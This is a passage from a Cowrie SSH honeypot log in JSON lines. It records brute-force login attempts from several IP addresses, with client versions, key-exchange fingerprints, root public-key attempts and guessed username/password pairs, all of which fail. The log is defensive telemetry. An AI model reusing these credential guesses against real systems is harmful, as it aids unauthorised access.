ha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:12.867043Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:91:3d:d1:80:e9:02:73:06:62:66:71:08:1f:90:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9u9AtjjGvxZTYh/5rnVh6B7fIfA/Qdn1DFPdmYfmnMr4LFyq8in3FPW2MwgbQ4ebV/sLb+xjAMQNlYdzg1ZzbplySZDfg6H+OIhXMMeZ68dAGWStQDB0AYkHRUZlJZMFxx9Lnxh4w7T+BfSGu5KyJ1Q9QIsbpGaHWyJNUNq5YpyS4sd0mZdSJjsaoD3IQjUvhfOZ80JcZRMVVtT67c0cibApPqp3vWhVkb8nTMbEBnNSslLDuFP+5YDkJG0rx01qRaA6+ILdNBl8EclXjQmbcJk2qHGrPIAMea3JxGLvoewHftxq8cDyQ2coMMtekSslxLH5ipz3DsSZHZrDMFVSt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:91:3d:d1:80:e9:02:73:06:62:66:71:08:1f:90:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.192372Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:91:3d:d1:80:e9:02:73:06:62:66:71:08:1f:90:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9u9AtjjGvxZTYh/5rnVh6B7fIfA/Qdn1DFPdmYfmnMr4LFyq8in3FPW2MwgbQ4ebV/sLb+xjAMQNlYdzg1ZzbplySZDfg6H+OIhXMMeZ68dAGWStQDB0AYkHRUZlJZMFxx9Lnxh4w7T+BfSGu5KyJ1Q9QIsbpGaHWyJNUNq5YpyS4sd0mZdSJjsaoD3IQjUvhfOZ80JcZRMVVtT67c0cibApPqp3vWhVkb8nTMbEBnNSslLDuFP+5YDkJG0rx01qRaA6+ILdNBl8EclXjQmbcJk2qHGrPIAMea3JxGLvoewHftxq8cDyQ2coMMtekSslxLH5ipz3DsSZHZrDMFVSt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.195887Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:9f:62:4f:8f:60:c6:c0:22:bf:35:02:19:ed:5f:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAxZ09ksK0qzbrFTgsw0NOp/jdn9k4qJdhjUzHVXguZN6Zu3Bx1T4U8mw9yaD9h1WihSHnA4QeO13GLhm0NQZ4GzKQUTEECPIkegcv5wblLHDDJVmJLJSVz8fuPhBz0lOcQAM0VFTtoumdw1fO2qqx9LPfZYHliAsu+IItw8dRqUE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:9f:62:4f:8f:60:c6:c0:22:bf:35:02:19:ed:5f:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.265773Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:9f:62:4f:8f:60:c6:c0:22:bf:35:02:19:ed:5f:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAxZ09ksK0qzbrFTgsw0NOp/jdn9k4qJdhjUzHVXguZN6Zu3Bx1T4U8mw9yaD9h1WihSHnA4QeO13GLhm0NQZ4GzKQUTEECPIkegcv5wblLHDDJVmJLJSVz8fuPhBz0lOcQAM0VFTtoumdw1fO2qqx9LPfZYHliAsu+IItw8dRqUE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.272841Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:e1:7a:35:7d:5f:87:13:c0:97:80:4c:43:06:5a:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF9Cfh3fsQMFtQXPVf+QCYOREySxr1qzE2aV0a7CO6KlGl2vrt0NxEThPdF9PDnWm75m1rplIKMfyqKUu/4caz2sE/Hrqpz6NgUzZrGfAuK0CxVfTffd7ea4nAlSyORi+stFkGDOZ4Qsp+/O0DLDMuq5Wy7TuBoUit8zs460oV6A/IkTminUSxvhRrJKh5RpWmiE/0emXHd1cIabeL9krWujTxz5A/JOxn93qD+RGKfARflL1+tTieAwfyTF68hTorKgaRPNNd76HJl8zufiMBmMikngXtOHX58It/YjYeixHK6dyvMf74yubgcYKNayR8sfeabNUf+6cRPb0W+IRShL/vzvuQtpBnX/TZ3qc6YLBLEKXkye7oK/pl3F11c4bXZidw7UJxK3b1YTCEWuz4KbKc0l33SVcKrOTxt7fWa+1+RyifrZS5qyfISrwswBGaeCqA+9FhfJpxBFi6i4n52ZxcH/BrxWm2cmXs+LAR9N+AQeyye5IjnOS/GIBM4WuuZ4zX6VkXFu6Z85SGKr1vNQ/mYLkPq5wU1b9Oa1pWQMnvZtr0+ACq/RtZ3UgOPXf6vWJXrG1Q6HbvEnc/e2+4J6gx6NCBGL5/FwYBQpZZMv0QGpAEnhaIqeHCOL6z86NQakesMVDHxQDoLFZZ0b62EQ8osw9rQL5HGwWjkK+8sQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:e1:7a:35:7d:5f:87:13:c0:97:80:4c:43:06:5a:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.342767Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:e1:7a:35:7d:5f:87:13:c0:97:80:4c:43:06:5a:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDF9Cfh3fsQMFtQXPVf+QCYOREySxr1qzE2aV0a7CO6KlGl2vrt0NxEThPdF9PDnWm75m1rplIKMfyqKUu/4caz2sE/Hrqpz6NgUzZrGfAuK0CxVfTffd7ea4nAlSyORi+stFkGDOZ4Qsp+/O0DLDMuq5Wy7TuBoUit8zs460oV6A/IkTminUSxvhRrJKh5RpWmiE/0emXHd1cIabeL9krWujTxz5A/JOxn93qD+RGKfARflL1+tTieAwfyTF68hTorKgaRPNNd76HJl8zufiMBmMikngXtOHX58It/YjYeixHK6dyvMf74yubgcYKNayR8sfeabNUf+6cRPb0W+IRShL/vzvuQtpBnX/TZ3qc6YLBLEKXkye7oK/pl3F11c4bXZidw7UJxK3b1YTCEWuz4KbKc0l33SVcKrOTxt7fWa+1+RyifrZS5qyfISrwswBGaeCqA+9FhfJpxBFi6i4n52ZxcH/BrxWm2cmXs+LAR9N+AQeyye5IjnOS/GIBM4WuuZ4zX6VkXFu6Z85SGKr1vNQ/mYLkPq5wU1b9Oa1pWQMnvZtr0+ACq/RtZ3UgOPXf6vWJXrG1Q6HbvEnc/e2+4J6gx6NCBGL5/FwYBQpZZMv0QGpAEnhaIqeHCOL6z86NQakesMVDHxQDoLFZZ0b62EQ8osw9rQL5HGwWjkK+8sQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.346552Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:17:c3:b0:1e:fa:f8:c0:cc:5a:ae:93:96:d0:f1:9f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFOOONPrYTLsTnxIpNC4Vf6QQmD5jVp8vFFCNfIkl2P/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 31:17:c3:b0:1e:fa:f8:c0:cc:5a:ae:93:96:d0:f1:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.416634Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:17:c3:b0:1e:fa:f8:c0:cc:5a:ae:93:96:d0:f1:9f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFOOONPrYTLsTnxIpNC4Vf6QQmD5jVp8vFFCNfIkl2P/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.419962Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:04:71:ad:c7:95:ce:86:7e:b0:77:39:cd:92:87:dc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIaIWDbSOdzHEO9ZJXJbbJEcaeUmSvgra86soWimLWTg","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e8:04:71:ad:c7:95:ce:86:7e:b0:77:39:cd:92:87:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.490051Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:04:71:ad:c7:95:ce:86:7e:b0:77:39:cd:92:87:dc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIaIWDbSOdzHEO9ZJXJbbJEcaeUmSvgra86soWimLWTg","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.493765Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:13.563149Z","src_ip":"208.87.243.61","session":"746dbca3b567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":47274,"dst_ip":"159.203.135.109","dst_port":22,"session":"7945d13514d9","protocol":"ssh","message":"New connection: 14.225.205.58:47274 (159.203.135.109:22) [session: 7945d13514d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:44.090274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:44.097620Z","src_ip":"14.225.205.58","session":"7945d13514d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:44.360905Z","src_ip":"14.225.205.58","session":"7945d13514d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testtest","message":"login attempt [testing/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:45.447086Z","src_ip":"14.225.205.58","session":"7945d13514d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:46.715067Z","src_ip":"14.225.205.58","session":"7945d13514d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":55272,"dst_ip":"10.17.0.5","dst_port":22,"session":"66cd19c1a285","protocol":"ssh","message":"New connection: 58.186.20.143:55272 (10.17.0.5:22) [session: 66cd19c1a285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:50.133795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:50.139330Z","src_ip":"58.186.20.143","session":"66cd19c1a285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:50.382852Z","src_ip":"58.186.20.143","session":"66cd19c1a285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password12345","message":"login attempt [ubuntu/password12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:51.389807Z","src_ip":"58.186.20.143","session":"66cd19c1a285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:52.636222Z","src_ip":"58.186.20.143","session":"66cd19c1a285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":56736,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe01ca847022","protocol":"ssh","message":"New connection: 160.251.185.39:56736 (10.17.0.5:22) [session: fe01ca847022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:58.239558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:58.244763Z","src_ip":"160.251.185.39","session":"fe01ca847022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:58.428431Z","src_ip":"160.251.185.39","session":"fe01ca847022","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"welcome","message":"login attempt [testuser/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:02:59.151714Z","src_ip":"160.251.185.39","session":"fe01ca847022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:00.332436Z","src_ip":"160.251.185.39","session":"fe01ca847022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":41646,"dst_ip":"10.17.0.5","dst_port":22,"session":"314030e31f3e","protocol":"ssh","message":"New connection: 80.94.92.186:41646 (10.17.0.5:22) [session: 314030e31f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:08.378313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:08.440064Z","src_ip":"80.94.92.186","session":"314030e31f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:08.573761Z","src_ip":"80.94.92.186","session":"314030e31f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse@123","message":"login attempt [lighthouse/lighthouse@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:09.486059Z","src_ip":"80.94.92.186","session":"314030e31f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:10.793651Z","src_ip":"80.94.92.186","session":"314030e31f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":52652,"dst_ip":"159.203.135.109","dst_port":22,"session":"80c6c6f4afd1","protocol":"ssh","message":"New connection: 101.47.159.125:52652 (159.203.135.109:22) [session: 80c6c6f4afd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:11.122004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:11.126532Z","src_ip":"101.47.159.125","session":"80c6c6f4afd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:11.372075Z","src_ip":"101.47.159.125","session":"80c6c6f4afd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:12.385333Z","src_ip":"101.47.159.125","session":"80c6c6f4afd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:13.634676Z","src_ip":"101.47.159.125","session":"80c6c6f4afd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":44040,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aee5ba9a4f7","protocol":"ssh","message":"New connection: 14.225.205.58:44040 (159.203.135.109:22) [session: 5aee5ba9a4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:03:42.410065Z"}
